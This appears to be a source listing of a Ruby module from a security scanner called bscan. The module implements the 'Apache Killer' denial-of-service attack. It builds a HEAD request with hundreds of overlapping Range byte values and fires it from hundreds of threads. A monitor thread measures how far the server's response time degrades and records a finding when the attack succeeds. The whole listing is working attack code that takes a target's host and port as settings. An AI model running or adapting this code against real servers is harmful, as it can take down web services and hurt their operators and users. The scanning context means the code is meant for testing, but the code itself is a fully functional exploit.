9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
|
# File 'lib/bscan/modules/kill_apache.rb', line 9
def run *args
@bscan = args[0]
@config ||= @bscan.bscan_config
@bscan.activity[0]=true
@prop_pref = 'bscan.kill_apache.'
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
@mid = args[2]?"KillApache.#{args[2]}.":'KillApache.'
proto = @config[prop('protocol')]
proto ||= 'http'
threads = @config[prop('threads')]
threads ||= '500'
threads = threads.to_i
rtf = @config[prop('response_time_factor')]
rtf ||= '10'
rtf = rtf.to_i
rpt = @config[prop('req_per_thread')]
rpt ||= '1'
rpt = rpt.to_i
@rto = @config[prop('read_timeout')]
@rto ||= '10'
@rto = @rto.to_i
ranges = @config[prop('range_nbr')]
ranges ||= '500'
ranges = ranges.to_i
host = @config[prop('hostport')]
raise "#{@mid}run parameter #{prop 'hostport'} is missing, exiting" if not host
host,port = host.split(':')
port = (proto=='http'?80:443) if not port
req = "HEAD / HTTP/1.1\r\n"+
"Host: #{host}:#{port}\r\n"+
"Range:bytes=0-@@@\r\n"+
"Accept-Encoding: gzip\r\n"+
"Connection: close\r\n\r\n"
nreq = req.sub /Range:bytes=@@@\r\n/, ""
inj = ''
start = 5
ranges.times do |t|
inj += ",#{start}-#{t}"
end
req.sub!(/@@@/,inj)
@bscan.Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
@threadinfo = {}
threads.times do |t|
@threadinfo[t] = {}
for con in 0..rpt-1
@threadinfo[t][con]=nil
end
end
trg,host,port = get_url_host_port req,proto
@infom ||= Mutex.new
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
@bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
Thread.new do
maxtime=0
while (true)
begin
sleep 2.5
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
@bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
maxtime = rt if rt > nrt*rtf && rt > maxtime
ex = true
tnum = 0
cnum = 0
@threadinfo.each_pair do |t,c|
inc_t = false
if c
c.each_key do |k|
if c[k] == 1
cnum += 1
inc_t = true
ex = false
end
end
end
tnum += 1 if inc_t
end
@bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
break if ex
rescue Exception => e
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
@bscan.Log 1, e.backtrace.join("\n")
end
end
@bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
if maxtime > 0
issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp,
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
@bscan.write_issue_state issue
end
end
threads.times do |t|
Thread.new do
begin
@bscan.Log 2, "#{@mid}run thread: #{t} #{rpt}"
for con in 0..rpt-1
send_get_rsp host,port,req,proto,t,con
end
rescue Exception => e
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
@bscan.Log 1, e.backtrace.join("\n")
Thread.current.exit
end
end
end
end
|